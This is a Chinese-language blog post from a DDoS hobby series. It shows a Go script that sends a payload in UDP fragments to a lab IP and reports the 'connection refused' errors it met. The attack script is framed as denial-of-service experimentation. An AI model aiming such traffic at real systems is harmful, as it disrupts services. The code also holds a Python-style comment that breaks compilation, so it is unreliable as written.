iT邦幫忙

2023 iThome 鐵人賽

DAY 29
0
SideProject30

DDOS:閑的沒事就開始DDOS系列 第 29

[Day 29] 閑的沒事 - Fragmentation UDP

  • 分享至 

  • xImage
  •  

Code

udp封包分片

package main

import (
	"fmt"
	"log"
	"net"
	"time"
)

func main() {
	targetIP := "10.211.55.10"
	targetPort := 12345

	udpAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", targetIP, targetPort))
	if err != nil {
		log.Fatal(err)
	}

	conn, err := net.DialUDP("udp", nil, udpAddr)
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	payload := `又是熟悉的payload,總長1360`
	fmt.Println(len(payload))  # 1360

	chunkSize := 1000
	for i := 0; i < len(payload); i += chunkSize {
		end := i + chunkSize
		if end > len(payload) {
			end = len(payload)
		}

		_, err = conn.Write([]byte(payload[i:end]))
		if err != nil {
			log.Fatal(err)
		}

		fmt.Printf("Sent fragment: %s\n", payload[i:end])
		time.Sleep(1 * time.Millisecond)
	}

	fmt.Println("Packet sent successfully!")
}

測試

chunkSize不管是設定100還是1000的時候,通常只發送一次封包後下一次發送就會出現connection refused的錯誤訊息。因為我啟動一個Flask Web Endpoint監聽這個端口,Flask web service默認只支援HTTP over TCP。當我測試時使用UDP協議向目標主機發送請求時,由於Flask不處理 UDP 請求,因此不會有任何響應。當我的UDP客戶端再次嘗試發送時,就會收到一個connection refused的錯誤。

看起來做壞事分片發送不能常用UDP協議了,容易出現connection refused。用其他常用的PORT也是如此。


上一篇
[Day 28] 閑的沒事 - Fragmentation TCP
下一篇
[Day 30] 閑的沒事 - HTTP SESSION
系列文
DDOS:閑的沒事就開始DDOS31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言